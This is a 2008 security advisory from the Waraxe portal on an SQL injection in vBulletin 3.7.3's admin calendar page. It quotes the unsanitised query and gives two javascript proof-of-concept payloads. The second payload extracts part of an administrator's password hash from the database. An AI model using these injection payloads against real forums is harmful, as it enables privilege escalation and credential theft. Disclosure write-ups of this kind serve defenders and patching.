Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 21, 2023
 Members List
 IRC chat
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 Sql Char Encoder
 y3dips ITsec
 Md5 Cracker
 User Manuals
 Recommend Us
 Your Account

User Info
Welcome, Anonymous

Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 400
Members: 0
Total: 400
PacketStorm News
·301 Moved Permanently

[waraxe-2008-SA#068] - Sql Injection in vBulletin 3.7.3.pl1

Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-68.html

Description of vulnerable software:

vBulletin (abbreviated as vB) is a commercial Internet forum software produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database server.
vBulletin is a professional, affordable community forum solution. Thousands of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.

Web: http://www.vbulletin.com/

List of found vulnerabilities

1. Sql Injection in "admincp/admincalendar.php"

Impact: low
Preconditions: attacker must have admin account with calendar administer privileges


Let's have look at "admincp/admincalendar.php" line ~867:

-------------------[original source code]------------------

if($_POST['do'] == 'saveholiday')
$vbulletin->input->clean_array_gpc('p', array(
'holidayid' => TYPE_INT,
'holidayinfo' => TYPE_ARRAY,
'month1' => TYPE_INT,
'day1' => TYPE_INT,
'month2' => TYPE_INT,
'day2' => TYPE_INT,
'period' => TYPE_INT,
'title' => TYPE_STR,
'description' => TYPE_STR,
UPDATE " . TABLE_PREFIX . "holiday
SET allowsmilies = " . $vbulletin->GPC['holidayinfo']['allowsmilies'] . ",
recuroption = '" . $vbulletin->GPC['holidayinfo']['recuroption'] . "',
recurring = " . $vbulletin->GPC['holidayinfo']['recurring'] . "
WHERE holidayid = " . $vbulletin->GPC['holidayid']

------------------[/original source code]------------------

As we can see, array-type variable 'holidayinfo' from $_POST will be used in
sql UPDATE query without any sanitization. So sql injection seems to be possible.
Let's find out about exploitability of this security issue.

|/ PoC #1
/| ========

Log in as admin and open holiday manager interface:


Fill in the "title" field (content does not matter).
Next run this javascript via browser URL bar:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];

As result, sql error can be seen similar to this:

Database error in vBulletin 3.7.3:

Invalid SQL:

UPDATE vb_holiday
SET allowsmilies = 1,
recuroption = '1|1',
recurring = 6,waraxe=1
WHERE holidayid = 2;

MySQL Error : Unknown column 'waraxe' in 'field list'

|/ PoC #2
/| ========

Log in as admin and open holiday manager interface like in previous test.
Fill in title field. Then execute following javascript:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,recuroption=CONCAT('|',(SELECT SUBSTR(password,1,5) FROM vb_user WHERE userid=1))";

As result we can see first five chars of admin's md5 hash:

Recurring Option Every 4ffb6 <<-- first five chars of hash

Possible impact

Fortunately for vBulletin users this sql injection is low-impact.
It's because attacker needs to be admin with calendar administer privileges in order
to exploit this security hole. So basically we have dealing with privilege
escalation exploit, because admin with limited privileges can use sql
injection for stealing other admin's password hashes and salts from database.
And in case of successful hash cracking attacker may try to impersonate
admin with wider set of privileges. Additionally sql file-related
functionality (LOAD_FILE() for example) can be used by attacker.


Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Php shell (work in progress): http://phpaxe.com/

---------------------------------- [ EOF ] ---------------------------------

Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2008-11-17 (20189 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
·301 Moved Permanently


Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.106 Seconds